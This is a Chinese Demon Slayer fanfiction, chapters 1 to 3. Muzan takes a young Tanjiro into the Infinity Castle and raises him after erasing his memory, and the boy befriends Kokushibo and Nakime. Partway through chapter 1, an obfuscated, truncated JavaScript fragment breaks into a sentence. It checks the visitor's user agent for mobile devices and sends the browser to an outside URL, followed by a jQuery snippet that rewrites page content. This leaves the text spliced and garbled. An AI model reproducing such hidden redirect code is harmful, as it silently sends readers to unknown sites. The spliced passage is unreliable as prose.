《【鬼灭】知晓漫画剧情后全员失控》 1. 第 1 章 “这是什么地方呀?”小男孩恐惧的看着四周,浓重的黑暗将他包裹。 “父亲……母亲……你们在哪儿,我害怕……”男孩哽咽着,红色眼眸飞快眨动,蓄满的泪水自脸颊滑落。 但没一会儿他又将眼泪擦掉,两只手握成拳,“不行,炭治郎,不能哭,你已经是大孩子啦,答应过父亲不能哭!” 自我鼓励了一番的小炭治郎,壮着胆子移动脚步,可周围太黑根本没有方向感。 “怎么办……不行,不能哭,要憋回去!”眼看止住的泪又有流下来的趋势,两只短小的手赶忙捂住眼睛。 “嘿嘿……这样就不会哭啦。”小男孩嬉笑着,而这时他从指缝中看到一抹亮光。 “咦?”小炭治郎发出疑问,他小心翼翼地朝着光亮处移动,脚步时而走动时而停滞,眼睛里闪烁着好奇和害怕。 过了许久才来到近处的炭治郎看见光亮的中间悬浮着一本书。 亮光逐渐缩小,渐渐汇聚在书上。 而看清书本样貌的炭治郎发出一声惊叹。 书面上画着的人和男孩很像。 戴着与父亲送给他一模一样的日轮耳饰,深红色的头发下像胎记一样的红色印记蜿蜒在额头和眉眼间。脸颊脱去稚嫩,俊美温柔,手上握着一把刀,红色眼眸坚毅的盯着一处,但细看里面又透着一丝悲凉。 和奶奶讲的故事里的剑士一模一样。 看着这样的“自己”男孩羡慕的同时,心里又有些不舒服,他的手僵在半空想要拿起这本书却又停滞。 书仿佛感受到炭治郎的犹豫,它自动飞到炭治郎的手中,在男孩止不住的惊呼声中,打开了。 看着书一页一页自己翻动,炭治郎却歪着头。 “呃……我不识字呀,这可怎么看?” 书:“……” 柔和的白光从书上蔓延至炭治郎的全身,仅过一秒,白光消散,而炭治郎惊奇的发现,他竟然看懂了上面的文字。 “哇!我识字了,我要跟父亲母亲说!我可以给妹妹弟弟讲故事啦!”男孩兴奋地蹦跳,但紧接着他就想到自己现在被困在满是黑雾的地方,他出不去找不到他们。 这样想着,男孩的兴奋顷刻间消散,失落和难过笼罩着炭治郎。 书本微微耸动,在男孩疑惑的目光下,再度翻回了第一页。 “欸?!” 炭治郎摸着手上的“书”笑道:“你好有灵性呀,但我想找我的家人不想读书。” 书:“……” 它翻回了空白页,上面浮现出一句话: ‘你看了,我就能让你回到你家人身边。’ 没由来地炭治郎身体发颤,他内心疑惑鼻弥漫着未知恐惧的气味。但为了能回到家人身边。 炭治郎又高声给自己加油。 随后就随着书的翻动速度看了起来。 ……………… 故事的开始是一家八口在林间生活,他们虽然家中贫穷,但过得幸福安逸。 炭治郎不可思议地看着和自己家人长相一模一样且名字相同的书中人物,不禁张大嘴巴,“哇哦!好像!” 翻页—— 故事来到书中父亲体弱多病病逝后,大儿子承担起家中的重责。 在“他”13岁那年,家人惨死,唯有只相差一岁的妹妹尚有呼吸存活了下来。可却也变成没有意识的食人鬼。 翻页停止了,画面只停留在与妹妹祢豆子很像的女孩攻击“自己”的画面。 炭治郎被这故事吸引,下意识伸手翻阅,可后面皆是空白。 “书、书本,后来呢?后来怎么样呀。”炭治郎迫切地想要知道,他也不明白明明只是一个故事,为什么自己这么在意,比奶奶小时候讲述的故事都要吸引他。 虽然名字长相相同,但炭治郎认为这只是一个梦,并不是真实的。 可“书本”没有回应,在小男孩还想问什么时,一阵白光闪过,它化为光团进入炭治郎的体内。 书里“家人”惨死的样子一一刻进他的脑海里,那么清晰,血腥味弥漫鼻腔;仿佛是自己经历,小炭治郎被吓坏了,他再也止不住放声哭泣。 “不要!好可怕!停下来!不要!”男孩疯狂垂打自己的头企图让那些可怕的画面停止浸入他的脑中。 ………… “炭治郎!炭治郎快醒醒!炭治郎!!”男孩猛地睁开双眼,眼前是父母担忧的脸色,以及眼泪滴在他脸颊上急哭了的妹妹。 “祢豆子别哭。”炭治郎还沉浸在那些画面的恐惧里,但仍旧伸出手抹掉妹妹脸上的泪水。 “呜呜……哥哥……”幼小的女孩将头枕在男孩的胸膛上,放声大哭。 炭治郎手轻抚上女孩的后背,他也吓坏了,他的母亲葵枝将两个孩子都抱在怀里,轻声安抚,“好了没事了孩子们。” 这一晚,灶门家的孩子们很晚才进入眠乡。 炭治郎闭上眼时那些画面不停地在他脑海中闪现,男孩辗转难眠,在不知道多少次因为烦躁恐惧翻身时,一声叹息在他耳边响起,接着温和的大手轻拍着炭治郎,“睡不着就起来吧,不要勉强自己。” 炭治郎把被子落下,睁开眼时就看到炭十郎无奈地看着自己。 “对不起爸爸,我让你担心了……”小炭治郎声音细弱如蚊但听到此话的炭十郎微笑着摇头,他的身体已是强弩之末,但男人还是将炭治郎抱起来,父子两人来到房门处,此时外面满天飞雪,呼吸的白雾围绕着他们。 “炭治郎是最坚强的孩子,爸爸从不怀疑这点。”炭十郎摸着男孩头,看着他的目光充满慈爱。 小炭治郎羞红了脸,半埋在父亲怀中。 “炭治郎,你要记得,能力越强,责任就越大;要一直怀有一颗慈悲之心,不管面对任何事不要轻易放弃。” 炭治郎点头,“我知道哒,炭治郎会变强,然后保护弟弟妹妹!” 炭十郎闻言却苦笑,“长子永远都是需要忍耐的那个,我很抱歉……” 男孩鼻尖微动,他闻到了悲伤的气息,听到父亲的道歉,他不明所以,“爸爸为什么要道歉?” 炭十郎摇头并没有过多解释,他看向远方,眼神里的情绪男孩看不懂,但他很担心爸爸。 “爸爸,我们进屋吧,吹风对身体不好的。” “好。” ——————————— “你说,你在云取山上看到了青色彼岸花?” 灯火阑珊的无限城内,琵琶音悦耳高昂。西装革履的男人摇晃着手中蓝色试剂,声音没有多少情绪,他甚至连个眼神都没有分给跪在不远处的鬼身上。 血红色的眼眸紧盯了半晌,随即“啧”了声,烦躁地将试剂甩到一边。 而不偏不倚地正好摔到跪着的鬼面前。 “大人息怒啊!”哆哆嗦嗦的鬼像被一块巨石紧紧压住,恐惧袭向他的大脑,他甚至有那么一瞬间后悔过来禀报。 但想法仅仅是一闪而过,他瞬间被刺鞭扼住喉咙吊了起来。 “越是烦躁时就能听到你们这些小杂虫烂泥一样的想法。” 刺鞭越勒越紧,鬼惊恐地瞪大双眼,徒劳地用手抓着什么。 “云取山是吗……” 鬼能感受到周身气压回升了许多,正当他自喜的以为自己能逃过一命时,下一秒悬空感袭来,可他侧眼看去,自己的身体明明还在半空…… 无惨丝毫不顾身后像灼烧般的声音,只是轻轻喊了声“鸣女”,就地消失。 徒留黑烟消散直至殆尽。 “真的没问题吗?”葵枝担忧地看着自己的大儿子。 今天不知为何炭十郎病情加重连下床都困难,偏偏那日约定的炭火还未送到,最终只能将这个任务交给尚且只有六岁的大儿子身上。 炭治郎笑着安慰自己的母亲,“放心啦妈妈,我已经是大人啦,一定可以的!” 葵枝还想说什么,但他看了眼身后躺在床上的炭十郎,她要照顾他。 “送完炭,一定要快些回来,不,还是慢点回来吧,这天也不知什么时候会再下大雪……”葵枝矛盾地说着。 炭治郎上前拥住母亲,“没事啦妈妈,要相信炭治郎。” 炭治郎从那个梦境醒来时,依稀记得自己识字了,所以晚上讲故事的时候他自告奋勇要给弟弟妹妹们讲,结果就是书拿在手里,能念出来的字不足整个故事的三分之一。 滑了个大稽。 果然是梦呀……炭治郎脸红得跟西红柿一样在家人们好笑的目光中躲进被褥里。 他真希望这个记忆赶紧从他闹钟去掉。 太丢人了。 —————————— “哥哥你要去哪里呀?”五岁的祢豆子跑过来抱住炭治郎。 男孩摸了摸妹妹的头,“哥哥要出去帮爸爸卖炭,很快就会回来的,你在家等着哥哥呦。” 女孩眉头皱成八字,但还是点点头。 男孩期待地看向母亲,“妈妈。” ……到底拗不过大儿子,葵枝嘱咐了许多,愣是追出好久才停下脚步,看着儿子远去的背影,不知为何她的心中总是空落落的。 炭治郎长大了啊…… ———————— 炭治郎将村民们先前向他父亲预订好的炭火一一送到,时间也在不知不觉流逝。 日暮黄昏时,他被三郎爷爷叫住。 “现在这么晚了,你一个人赶夜路不安全,先在我家住着吧,明日天亮再回去。” 炭治郎面露犹豫,他答应妹妹要早点回去,但也想起母亲嘱咐过若是时间太晚有村民留宿一定要答应,夜晚确实很危险。 正当小炭治郎准备点头时,没由来地梦里“书”中的画面再度浮现在他的脑海中。 那个“自己”也是因为时间太晚留宿在别人家才躲过一劫,但也永远地失去了家人…… “谢谢爷爷的好意,但我想快点回家,家人在等我。”说着不顾三郎的阻拦,挥手道别,就往家中的方向跑去。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17575953|205012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “真是的……”三郎吸了口烟叹气一声。 很快地,月上高照,傍晚来临。 炭治郎背着空竹篓气喘吁吁地跑着。 而另一边,来到云取山上的无惨,看着周围一片皑皑白雪,内心的烦躁再度回升。 他想多找几个鬼将山翻一遍,但伸出的手又僵住。 无惨在考虑要不要直接将山炸平,但很快就放弃了这个想法。 正当他召唤鬼们过来时,由远及近的脚步声打断了他。 男人转头,目光登时定住,随即瞳孔皱缩。 是个小孩,红色的头发和眼睛,唯一不同的是男孩额头上的是伤疤而非斑纹,但最显眼的还属那对困扰他千年噩梦的耳饰。 恐惧憎恨混合着那些屈辱的记忆在他脑海中一篇篇闪过。 刹那间,无惨惨白的脸上筋络暴起,面容扭曲,眼睛紧紧盯着朝他跑来的小孩。 炭治郎也终于注意到不远处站着的人。 他不像无惨可以看清周围一切,炭治郎的视野是月光给的,他虽注意到有人,但却看不清对方长相。 “请问你是迷路了吗?”男孩朝着人影大声问道紧接着朝对方走近。 无惨的手化为刺鞭,他的眼睛紧紧盯着炭治郎,直至来到他的眼前。 一人一鬼四目相对。 炭治郎瞪大了眼,‘好好看的人啊!’小小的炭治郎想不出什么形容词,只是一味地盯着那张脸。 正当无惨想要动手时,眼前的男孩突然抓起他的另一只手,在男人还未反应过来,手中突然多了些什么。 他低头看去,那是一颗包装简陋的糖果,不明所以之际,他听到眼前的男孩带着安抚的声音。 “你好像很痛苦,吃颗糖吧。”炭治郎对眼前的的男人露出安抚的微笑。 男人僵愣住,“痛苦?” 炭治郎点头,男孩稚嫩短小的双手轻轻拍着男人的手背,“你是害怕迷路吗?不要怕的,我帮助你呀~” “哈。”无惨突然笑出了声。 多好笑啊,他想,这张和那个家伙七成像的脸,安慰自己。 但男人或许自己也不知道,炭治郎的话让他不愿承认隐匿的恐惧消散了不少。 “你叫什么名字。”无惨居高临下地看着男孩问道。 “炭治郎,灶门炭治郎。”男孩回答,“你呢?先生?” 无惨并不打算把自己的名字告诉炭治郎,在得知对方不姓继国之后,整个鬼松懈了三分。 他甚至有闲心聊起天,“你为什么觉得我很痛苦?” 炭治郎嘿嘿一笑,“我闻出来的呀。” 无惨顿感新奇,“闻?” 炭治郎点头,“我的鼻子可灵了呢。” 男人眼中兴味更甚,“是吗……”无惨半蹲下来,他和炭治郎视线差不多平齐,“你不怕我吗?” 男孩歪着头,疑惑道:“为什么要怕你呀?” “在这漆黑的山林,遇到我这样的陌生人。”无惨眼眸红得快要滴血,紧紧盯着眼前的男孩,他的身影被牢牢的囚禁在男人的瞳孔里。 炭治郎也在这时闻到了很浓的说不上来反正他不喜欢的味道。 虽然对方带着笑,但炭治郎能明确的感知到眼前的男人并不喜欢自己,但他还是非常直白的回道;“我不怕你,因为你长得好好看。” 恶意释放的压迫顿住,无惨没想到会是这样回答。 但对方看向他像是发亮的兴奋双眼就知道此话不假。 内心的烦躁奇异地被抚平,但无惨的眼中瞬间蹦出杀意。 不该留活口的,宁可错杀…… 正当无惨陷入某种回忆时,一双小手搂过他的脖颈,随即温暖的身体靠了过来。 “不怕不怕,坏心情要飞走啦~” 炭治郎不知道为什么眼前的哥哥身上弥漫着这么浓郁的痛苦,但妈妈曾说过温暖的拥抱可以驱散一切寒冷,这个哥哥一定很冷,抱抱的话会好很多吧。 “你……”无惨五个脑子同时宕机,死寂的七个心脏莫名跳跃了两声。 他应该杀了他的,只要用刺鞭,很轻易地就…… “哥哥很孤单吗?你的家人呢?” 家人? 无惨嘴角浮现一抹冷笑。 “要不先生跟我回家吧?家里可暖了,外面很冷的。” 炭治郎松开无惨,温柔善意的红海像是要将男人淹没。 “家很暖的,先生肯定就不会痛苦了。” “那是你的家。”无惨只这么说,“我也没有家。” 炭治郎小小的脑袋顿时意识到了什么,他赶忙轻拍男人的肩膀安慰,“没事的,先生跟我回家吧,大家肯定会接受你,我做你的家人呀。” 这本是一个孩子无心的宽慰,包含了最大的善意。 可无惨的脑中始终回荡着那句“我做你的家人”。 “你要做我的家人?”不知想到什么,男人恶劣地笑出声。 “好啊。” 2. 第 2 章 天空不知何时下起了大雪,山路被掩埋,一人一鬼的身影渐渐模糊,顷刻间消失。 “碰!!” 木盘被摔落在地。 “妈妈!”祢豆子担忧地看着自己的母亲。 葵枝眼神呆愣,握着盘子的手还僵在半空。 “炭治郎……” —————— 黑死牟原本想去找无惨,却在鸣女口中得知对方很早就出去了。 六只眼睛眨动着,鸣女猛地换弦,男人的身影登时出现在两鬼面前。 黑死牟朝人点头,刚想开口,却看到无惨怀里抱着什么。 是个小孩? 待上弦壹看清对方长相时,六只眼睛同时缩起,他的身体呆愣在原地。 “像吗?”无惨恶劣地问道。 “你…想做…什么,这个小孩……”黑死牟话语里颇有些咬牙切齿的意味。 无惨肩膀微耸,“不想做什么,既然这么像,留在身边监视倒也没什么。” “这…可…不像…你。”黑死牟面无表情的说道。 无惨听出了其中的讽刺,但他毫不在意。 他越过上弦壹,只留下一句:“我有我的打算。” 炭治郎转醒时,整个大脑空白一片,他懵懂地看着天花板,身体缓慢起身。 四周的环境很陌生,男孩心中升起一股惧意。 味道好难闻。 “醒了?”低沉的嗓音在不远处响起。 男孩看过去,长相俊美的男人两腿交叠着,眼睛并未看向男孩,只是盯着手中的书本。 “你……你是谁呀?” 无惨将目光移向男孩,他不答反问:“你觉得呢?”语气里似乎还带着些许亲昵。 炭治郎愣住,他的大脑犹如一张白纸连自己是谁都不知道,他只是摇头。 男人放下手,走近对方,他半蹲下来,眼睛平视的那一刻,无惨叹了口气,“真令人伤心啊,炭治郎,我可是你的家人就这么把我忘记了?” 家人? 炭治郎小小的脑袋仿佛被刺了一下,他知道家人是什么意思,眼前的人…… 看着那双血红色的眼眸,炭治郎鼻尖微动,他闻到了奇怪地味道,很不舒服。 “我叫炭治郎吗?”男孩避开那双眼睛,轻声询问。 “对啊。”无惨纤长惨白的手抚上炭治郎的头顶。 “可是……为什么我什么都不知道呢……”男孩失落的垂下眼,看起来快哭了。 “没事的,想不起来就算了。”无惨将人抱在怀里,一遍一遍的安抚。 男孩突然觉得那股不舒服的味道闻久了好像也没那么讨厌了。 ——————————— 众鬼得知他们上司拐回来个人类小孩。 上司明令禁止他们动一切对于炭治郎的歪心思。 男孩在无限城可以自由活动,但决不能离开无限城,这也是无惨对炭治郎唯一的要求。 炭治郎在城内走动时遇到很多面目可憎的鬼,一开始男孩很害怕,但后来听到无惨解释他们不是人类时,渐渐的也就没觉得多吓人了。 他甚至还和这群鬼玩闹了起来。 秉持着上司的威压,鬼们也不好说什么。 不知道第几局的捉迷藏,炭治郎正在找最后一只鬼。 这些鬼身上有相同的独特味道,炭治郎就是靠它找到几只鬼的位置。 炭治郎七拐八绕的,总算闻到了气息,很浓郁就在这附近。 “要找到了呀。”男孩笑嘻嘻的朝着味道靠近。 走了没一会儿就看到前方一抹身影,想也不想就上前抱住他,“嘿嘿,抓到你啦!” 黑死牟的身体僵住,他转过头来,男孩也在这时抬起头。 “……” “…………” “……蜈、蜈蚣?”男孩呆愣地下意识说出口。 黑死牟:………… “你…说…什么?” 炭治郎闻到很浓郁的让人心惊胆战的味道,他反应过来自己刚刚行为很不礼貌,他立马鞠躬道歉,“对不起,对不起,先生,真的很抱歉!” 黑死牟六只眼睛上下打量着男孩,脸色也看不出是否生气。 “你…叫…什么。” 炭治郎愣了一秒,随即回答,“炭、炭治郎,我叫炭治郎。” “啧。”黑死牟眉头微皱,“姓氏。” 炭治郎:“我没有姓氏……” “无惨先生说我是孤儿,所以……” 黑死牟:“孤儿?”上弦壹似乎笑了声。 他真的搞不懂无惨在想什么。 一双小手轻拉了下他的衣服,黑死牟看过去,“那、那个你不开心吗?对不起……” 上弦壹盯着炭治郎的耳饰,“为什么…道歉……” 炭治郎双手交叠在身前,“是、是因为我说您是蜈蚣,对不起……” 黑死牟半弯着腰,伸出手抚摸上那对日轮耳饰,男孩觉得那股说不清的味道更浓了,和无惨先生的很像,但又掺杂了…… “我…并不…在意。”说完,他直起身不再看炭治郎径直离开。 看着对方的背影,炭治郎心情也有些低落。 ———————— 炭治郎偷跑到无惨的房间,在门前半冒出个头看向正在看书的男人,犹豫着要不要过去。 “来了,为什么不进来呢?”无惨血红的眼睛看向炭治郎。 男孩小心翼翼地走过去,“我不想打扰无惨先生,所以……” 男人笑了,“你走过来时我就发现你了。” 男孩面色窘迫,“是、是吗……” “怎么了?”无惨将书放下,而小男孩也顺势拱进男人怀里,如雪松般的冷香环绕在他的周围,男孩安逸的笑了。 无惨犹豫片刻,还是将手放在炭治郎毛茸茸的脑袋上。 那一瞬间,心脏们仿佛被什么刺挠了一下。 “我就是……就是觉得今天遇到的鬼先生难过的味道很重。” 无惨眉头皱起,“鬼先生?” 炭治郎点头,“六只眼睛的。” 这下皱起的眉头挑高,“你见到黑死牟了?” 原来他叫黑死牟呀。炭治郎心想,他点了点头,“我感觉……黑死牟先生情绪好低落啊。” 无惨笑出声,他摸着炭治郎的脑袋,心里不明白男孩为什么总去在乎无关紧要的人,但仍旧耐着性子建议道:“你不想让他情绪低落,少出现在他面前就行。” 炭治郎:? 自己有这么讨人厌吗QAQ …………………… 无惨又出去了,炭治郎玩够了躲猫猫,有些无所事事,只是翻阅一些无惨书房里的书,在这所无限城内,琵琶弦音从未停歇。 炭治郎突然很好奇这琵琶声从哪里来,为什么一直不停,弹奏它的人或者说鬼不觉得疲惫吗? 男孩放下书本,随着声音前往。 很快的,他看到身穿黑紫色和服的长发女人手不停歇地拨动着琵琶,惨白的脸上面无表情,她的眼睛被发丝完全遮住。 炭治郎的到来并没有打断鸣女的演奏,男孩就那么乖乖坐在不远处,闭上眼细细聆听。 当一曲终了,鸣女停滞,她的头转向炭治郎的方向,虽看不到眼睛,但炭治郎领会到对方表达的疑惑。 男孩登时鼓起掌,脸上的笑容温柔和煦,“好听呀。” 鸣女没说话,而是接着弹奏起来,而男孩依旧坐在那里,静静聆听。 那一瞬间,鸣女仿若回到还是人类的时候,那时她坐在台上,底下的人没多少是为她的琵琶演奏而来,他们总会用那种恶心得像蛆虫般的目光附于她身,但总归能挣些补贴家用的银钱,只是最终都随着那件她最喜欢的演出服一同进了丈夫的欲望漩涡里。 那时,她像是做了场噩梦,让一切都碎在了杀人的无数夜晚。 多久了呢?她多久没有听到真心实意的掌声了呢? 弦音越来越急促,久违的让已经是鬼的鸣女认知陌生的情感被注入,毫无保留的展露出来。 炭治郎的鼻间充斥着他来到无限城闻到无数次的压抑的味道。 无惨先生、黑死牟先生还有这个姐姐,他们身上这种味道最为浓郁。 小小的男孩脑子里只知道这是不好情绪,但它的寓意,炭治郎并不知晓。 一曲终,炭治郎激动地拍着手,他上前在鸣女歪着头展露疑惑的时候,猛地拥抱了上去。 “嘣——!” 弦应声而断,随即蜷缩在琴头。 鸣女的手僵在半空。 她看向自己用了很久的琵琶,是她刚刚失手割断的。 “对不起!对不起!”炭治郎也看到狼狈的琴弦,急得都快哭出来了,早知道就不要那么冲动上去抱人了…… 眼前的小孩看向自己充满愧疚的温润红眸,鬼使神差地,女鬼伸手抹去了炭治郎眼角的泪花。 “没事。”鸣女开口,嗓音有些沙哑。 “我自己割断的。”看着炭治郎依旧担忧的眼神,她虽疑惑小孩为什么这么在意,但还是开口解释。 本也不是她的琵琶,演奏工具而已。 鸣女说这些的本意是想告诉炭治郎不必愧疚道歉这与他无关,可空中浓郁的气味让小男孩心情更加低落。 鬼姐姐一定很伤心…… 小炭治郎想到什么径直跑书房的方向跑去。 去的途中还拉了一只鬼。 “鬼叔叔能帮我个忙吗?”男孩睁着水灵灵的大眼恳求地看向准备去饱餐一顿的长舌鬼。 长舌鬼:“……”看在那位大人的面上。。 “你想我帮你什么?” “叔叔识字嘛?” 长舌鬼:“……哈?” 无惨书房里的书种类很多,偶尔无惨也会教炭治郎识一些字,男孩可以毫无顾忌的踏足这里,这是鬼王给他的优待。 长舌鬼被男孩拉着进书房找了将近一下午关于乐器的书籍。 鬼可谓是饿得前扑后仰差点就没忍住对着男孩流口水了。 好在最终终于找到男孩想要的了。 “你要做乐器?” 男孩点头,眼睛闪亮亮的,“要送给别人哒,要做的最好看!” 长舌鬼并不在意炭治郎做乐器想送给谁,他现在只想赶快出去找饭吃。 正要打招呼离开时,男孩突然走上前抱住他,“叔叔谢谢呀。” 长舌鬼:“……没、没事。” 饱餐一顿的牛角鬼,刚进无限城就撞见要去吃饭的长舌鬼。 “你脸怎么红了?” 长舌鬼:“哪、哪有,你眼瞎了!” 牛角鬼:“明明就是啊,不信你自己照镜子。” “都说你眼瞎啦,闭嘴!” 照着长舌鬼念给他的制作琵琶的方法,炭治郎画了一个制作表单。 小大人一般的紧皱眉头,思索着该去哪里弄到木头和琴弦。 炭治郎走出房门,无限城灯火通明,但结构扭曲,本末倒置;没有正常的规律和形状,几乎相连一片。偶尔看久了会让男孩头晕目眩。 男孩叹了口气,要是能出无限城就好了,这样就可以找到要的东西。 可是…… 无惨先生不允许自己离开无限城。 小男孩犯起了难,正当踌躇不展时,鼻尖微动,他闻到了熟悉的气味。 炭治郎顿时开心地一蹦一跳,朝着无惨的房间走去。 ———————— 无惨从外面回来,依然没获得什么重要信息,手底下的鬼个个都是吃闲饭的。 男人惨白的脸上筋脉暴起,紧咬着牙,心情烦躁。他觉得他该思考一下要不要来一波清理,留这么多没用的东西实在闹心。 这时,一个小身影小心翼翼地走进来,无惨皱眉看过去,炭治郎两只小手紧紧相握,他担忧地看着男人,“无惨先生,你怎么啦?” 无惨深吸口气压下了心中的躁郁,他走过去,抚摸着炭治郎的头,声音低沉温柔,“没事。” 气味是不会骗人的,炭治郎知道无惨在撒谎,他现在很生气很暴躁。 男孩很想帮助对方缓解情绪,但也不知该怎么做。 冥思苦想,男孩猛地灵光一闪。 “无惨先生!”男孩拉住对方的手,“我们可以出去走走嘛?” 无惨面露疑惑,“出去走走?” 炭治郎声音带着些紧张,“我、我在无限城好久了,可是都没有出去看看,我想和无惨先生一起,见一见外面的风景。” 他抬起头,眼神真挚地望向男人,“可以嘛?” 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无惨:“……你要木头和钢丝做什么?” “做、做琵琶呀。” 炭治郎不好意思的低下头,声音细弱,“因为鬼姐姐的弦断了,所以我想做一个琵琶送给她……” 炭治郎指着店铺里钢线有拇指粗。 无惨:“……” 男人嘴角微抽硬生生将快要出嘴的毒话往回吞。 “……不用做了,我带你去买一个吧。” ————— 这趟游玩临近终尾,无惨却突然叹了口气。 炭治郎抱着买的东西抬头看他,担忧道:“无惨先生为什么叹气?” 无惨:“好不容易出来一趟,炭治郎却只记得给鸣女带东西,没怎么想到我呢,还以为我是炭治郎最重要的人呢。” 无惨说这些只是模仿着那些人类家庭打趣的话语,毕竟炭治郎是人类小孩,在他面前总该做些温和的伪装。 炭治郎把这话听了进去,他慌忙摇头,“不是的,无惨先生在我心里最重要,没人能替代的位置!” 男人闻言,血红色的眼眸瞳孔皱缩了一瞬,他看着炭治郎,久久未有言语。 被看得有些不自在的炭治郎轻声问道:“无惨先生。” 无惨回神,他摸了摸男孩的头。 “回去吧。” 此时烟花绽放,众人的视线聚集在天空。 无人注意两个身影越过人群,渐渐消失在黑夜中。 回去后,无惨安顿好炭治郎,便进了实验室。 直到第二天下午,才从实验室出来,看着手中又失败的药剂,他满眼疲惫,饥饿感袭来,刚想去“吃饭”,却在门口撞见了一个小身影朝自己跑来。 无惨皱眉,“你……” “无惨先生,你低下头,我有东西要给你。”炭治郎笑嘻嘻的说道。 无惨第一次感觉些许无奈,他蹲下身,凑过去想问是什么,头上就被戴了东西。 男人愣住,“这是……” 炭治郎微笑道:“这是昨天买回来的向日葵,我把它编成了花环。” “为什么送给我这个?” “向日葵是向着太阳的,我知道无惨先生一直都想站在阳光下,这个话能祝福你早日实现愿望,而且……” “而且?” 炭治郎笑得更开心了,“无惨先生你看,现在向日葵对着我,我就是无惨先生的小太阳呀~” 无惨愣住。 这一下心脏的刺挠感再度传来,痒痒的,但并不讨厌。 似乎有什么呼之欲出,但无惨不明白那是什么。 在男人蹲在那里僵愣时,炭治郎靠过去,将无惨紧紧抱住。 “虽然我不知道无惨先生为什么怕我,我喜欢无惨先生,太阳是温暖的,我把我的温暖给你,好多好多拥抱都给你。” 无惨掩埋在深处的恐惧被炭治郎赤裸裸的暴露出来,但随之而来涌出的不是恼怒,而是……轻松? 无惨的手抚上男孩的后背,嘴唇紧抿,什么也没说,但炭治郎鼻间弥漫的气味发生了改变。 炭治郎松开无惨,对方的目光仍紧盯着他,男孩朝前在男人的脸颊上落下一吻。 “怦、怦!”心脏剧烈跳动,无惨放在男孩后背的手猛地收紧。 无限城灯火阑珊,一人一鬼久久相拥。 此刻显得安逸温馨。 ——————————— 鸣女再将自己老板送走后,没一会儿小男孩就蹦蹦跳跳过来了。 手上抱着黑紫色包裹。 “鸣女姐姐,送给你呀~” 鸣女疑惑接过,“这是什么?” 炭治郎笑嘻嘻,“打开看看呀~” 鸣女一点点拆开,露出内里时,目光顿时僵住。 木制琵琶静静躺在礼盒里,上面被用紫色薰衣草和鸢尾花装饰。 “我本来想自己做一个送给姐姐的,但怕自己做的不够好,就买了一个,我用花装饰了一下,希望您喜欢。”炭治郎紧张的搓着手。 “送给……我的…琵琶?我的?” 炭治郎点头,“是呀,独属于姐姐的琵琶。” 鸣女双手颤抖地把琵琶拿出来放于身前。 手指轻弹,乐声跳出清脆明亮。 有什么滚烫的东西流了出来。 炭治郎惊呼一声,“鸣女姐姐,你怎么了?怎么哭了!?是我送这个不好吗?” 鸣女摇头,她抹掉脸上的泪水,这是她变鬼这么多年第一次有如此大的情绪起伏。 “很久没有属于我自己的东西了。” 炭治郎走到鸣女旁边,小手摸了摸鸣女的头,“不哭,姐姐。” 鸣女看向炭治郎,眼里倒影着男孩担忧她的模样,她嘴角扬起细微的笑容,“谢谢。” 炭治郎鼻尖轻动,他闻到了浓郁的开心,心里这才松口气。 “不客气呀~” 男孩坐在鸣女身边,静静聆听琴音。 很快地,炭治郎睡眼惺忪,他靠着她的肩膀缓缓进入梦乡。 而原本节奏高快的音调婉转成入眠的安眠曲。 3. 第 3 章 无惨发现,自己不在时,炭治郎总喜欢去亲近鸣女,索性就将他外出照顾炭治郎的任务交给对方。 刚回来时,便听到小孩子的欢声笑语。 炭治郎似乎在跟鸣女讲着什么,而女人停止了她的奏乐嘴角带着细微的笑容,微微侧头仔细聆听。 不知为何无惨觉得眼前温馨欢乐的画面十分碍眼,他走过去叫了男孩一声。 男孩的话音顿住,转过头,眼睛亮晶晶的看着男人,不出三秒便动身跑过来抱住无惨。 “无惨先生,你今天回来的好早呀。”被抱起来的炭治郎整个埋进带着雪松冷香的怀里,声音闷闷地说。 “怎么,不愿意我早回来?”男人挑眉。 “哪有,我可开心啦!”炭治郎赶紧埋进人怀里。 无惨笑了声,将人紧抱在怀里。 “呦,这就是大人新养的人类小孩?当真是可爱~”带着笑意又有些轻浮的声音自身后响起。 炭治郎抬头,眼前的男鬼有着白橡的发色,面容清隽柔美,皮肤苍白如瓷。 最显眼的是那双眼眸,虹膜的纹理像结晶的冰凌,瞳孔宛若七彩琉璃,黑色的字迹覆盖在上面。 童磨微笑着看向这个人类小孩,他身上的气味很香,比教里那些可爱的女孩子都要香。 舌尖舔了舔上颚,刚要说什么,只听“铮”地一声,男鬼原地消失。 无惨冰冷的血色眼眸斜睨了眼童磨刚刚站的位置,随即抱着炭治郎回房间了。 ………… 无惨最近出去的时间长了,但每次回来都会教炭治郎识字。 男孩很聪明,如今已经识了无惨书房里将近四分之二的字。 这天,炭治郎无聊地在无限城闲逛。 大部分鬼都出去了,整个无限城空荡荡的。 男孩准备去找鸣女时,又闻到那股很浓郁的有些熟悉的味道。 但炭治郎有点想不起来在哪里闻到过。 转了个弯儿,炭治郎寻着气味朝另一个方向走去。 脚步停滞,他看到红发男人正缓缓拔刀。刀锋出鞘的瞬间,四周的空气仿佛凝固了。那不是普通的挥斩,每一次刀锋划破长空,都拖曳出冷月般凄清的光痕,纤细如弦,却又凌厉得能切开夜色。 破空声不是锐响,而是一种低沉的嗡鸣,如同月潮在黑暗深处涌动,每一次震荡都精准地敲打在男孩的耳膜上,激起一阵冰凉的战栗。 炭治郎屏住呼吸,紧紧盯着。那动作带着与生俱来的优雅,每一个弧度都精准而古老,像遵循着月亮运行的法则;可那优雅之下,弥漫开的却是纯粹的、捕猎般的杀意。光痕明灭,如同月华洒落,美丽,而致命。 招式结束,紫色衣摆微微耸动,最终归于平寂。 好、好厉害! 炭治郎眼神亮晶晶的盯着那道身影,手不受控制地鼓起热烈的掌声。 黑死牟眉梢微皱,他转过头,当炭治郎看到那六只眼睛时,他才终于想起这股熟悉气味在哪里闻到过了。 但脑中也响应出无惨之前对他说的。 ‘你不想让他情绪低落,少出现在他面前就行。’ 但内心的震撼,让他总是忍不住想和对方说说话。 思索片刻,男孩还是开口。 